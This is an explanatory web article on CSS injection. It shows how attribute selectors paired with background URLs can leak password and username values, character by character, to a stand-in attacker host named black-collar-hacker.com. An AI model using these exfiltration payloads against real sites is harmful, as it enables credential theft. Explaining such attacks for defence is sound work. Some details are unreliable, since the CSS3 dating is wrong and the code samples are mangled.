Post
Ask Question

CSS Injection - Exploitation

Introduction

 
Developers across the globe are now familiar with the danger surrounding websites and web applications and over the years have tried to come up with various means of mitigating the ever-increasing threats that attackers have come up with. On the other hand, attackers i.e. black-collar hackers are also working tirelessly to bypass the limitations, firewalls, filters, scans, anti-spyware, anti-malware programs, and any restrictions that IT Security may come up with. In line with this, most firewalls, vulnerability, or mitigation measures put in place would not scan or sanitize the style tag in an application.
 
This is because of its importance in the life span of the website or application. In this article, we are going to look at how CSS Injection may be exploited in web applications and try and realize any mitigation to this form of attack.
 

CSS and its paramount importance

 
The introduction of CSS in web development came as a major development in the history of websites and web applications. The core purpose of CSS is to decorate the site, make it more attractive, and thus luring more visits to the pages. CSS from its original version CSS1 defined in December 1996 has achieved its core target of bringing beauty to web pages and developers have esteemed its use to date in its current version CSS3 which was recommended in June 1999. Its improvements over the years are very useful in modern-day web development but have also brought some weaknesses with them which have led to data exfiltration in web applications using CSS.
 

CSS Injection attacks

 
While most firewalls and sophisticated scanning tools are busy searching for malicious scripts, SQL statements, and code they tend to overlook the <style> tag. One of the common uses of CSS in web pages is to ensure beauty with uniformity which can be an informational aspect on a web page. Suppose a developer wants to use various internal and external links in his web pages and wants to show a difference between the links such that the user knows which link will throw them out the website and which one will open within the website he may use code like this in his style sheet,
  1. a[href^="https://linkOnthisSite.com/"] {  
  2.    color: green;  
  3. }  
  4. a[href^="https://linkOutOfthisSite.com/"] {  
  5.    color: blue;  
  6. }  
This will be very informative on behalf of the user and may be considered a handy piece of coding since this will style all local links on the page uniformly and external links likewise.
 
These are called CSS Attribute Selectors and they make a developer’s life easier before you can imagine the following,
  1.  <style>  
  2.    input[name="pwd"][value="01234"] {  
  3.       background: url(https://black-collar_hackers.com/log?pwd=01234);  
  4.    }  
  5. </style>  
  6. <input type = "password" name = "pwd" value = "01234">  
In general, we are trying to clearly show how CSS can provide attackers with the capability to steal data from web pages. The above code will call out to an untrusted URL once the password is 01234. CSS Attribute Selectors are a useful tool in achieving CSS Injection exploitation. An attacker may use CSS Attribute Selectors to target the most sensitive parts on a web page such as the username to steal data and use CSS properties like the background to reveal sensitive data to dangerous untrusted web servers whenever these styles are applied.
 
In other cases, attackers may use a trial and error approach on all captured data on the web page so they may embed a lot of test cases because in actual terms they do not have an idea what the username is. For example, they may issue a payload to test the username from its first letter and go on to issue different payloads corresponding with each success output as in the following,
  1. input[name = username][value ^= a] {  
  2.         background - image: url(https: //black-collar-hacker.com/exfil/a);  
  3.         }  
In this case, the attacker tries to redirect the application to send details to an untrusted URL in the case that the username may start with the letter 'a'. In real life, the attacker may try more sophisticated combinations, such as:
  1. input[name = username][value ^= ca] {  
  2.         background - image: url(https: //black-collar-hacker.com/exfil/ca);  
  3.         }  
  4.         input[name = username][value ^= cb] {  
  5.                 background - image: url(https: //black-collar-hacker.com/exfil/cb);  
  6.                 }  
  7.                 /* ... */  
  8.                 input[name = username][value ^= cd] {  
  9.                         background - image: url(https: //black-collar-hacker.com/exfil/cd);    
  10.                         }  
Until the condition is met, then they would try to get the corresponding letters of the username until they make something out of it i.e. figure out the username and use it to access data.
 
Certain vulnerabilities need to be present on this web page for the attacker to successfully carry out this exploitation. The web page should have the following vulnerabilities:
  1. Data parsed must be on the page at the page load event.
  2. Style the element using a CSS property which allows a URL such as a background.
  3. There should be an allowance to sustain long payloads.
  4. Start a new re-evaluation of newly generated payloads using frames.
Other methods of using CSS Injection include the use of @import.
 
The CSS @import allows the developer to include external styles from an external source thus overriding every CSS directive that comes after the below the @import line. Instead of using iframes, the attacker may manipulate this functionality to issue payloads.
 

Conclusion

 
As much as CSS is a very useful tool in web development, it can also be used to steal data from websites. Developers must make sure that they do not ignore the style tag, especially whenever they make use of URLs.


Similar Articles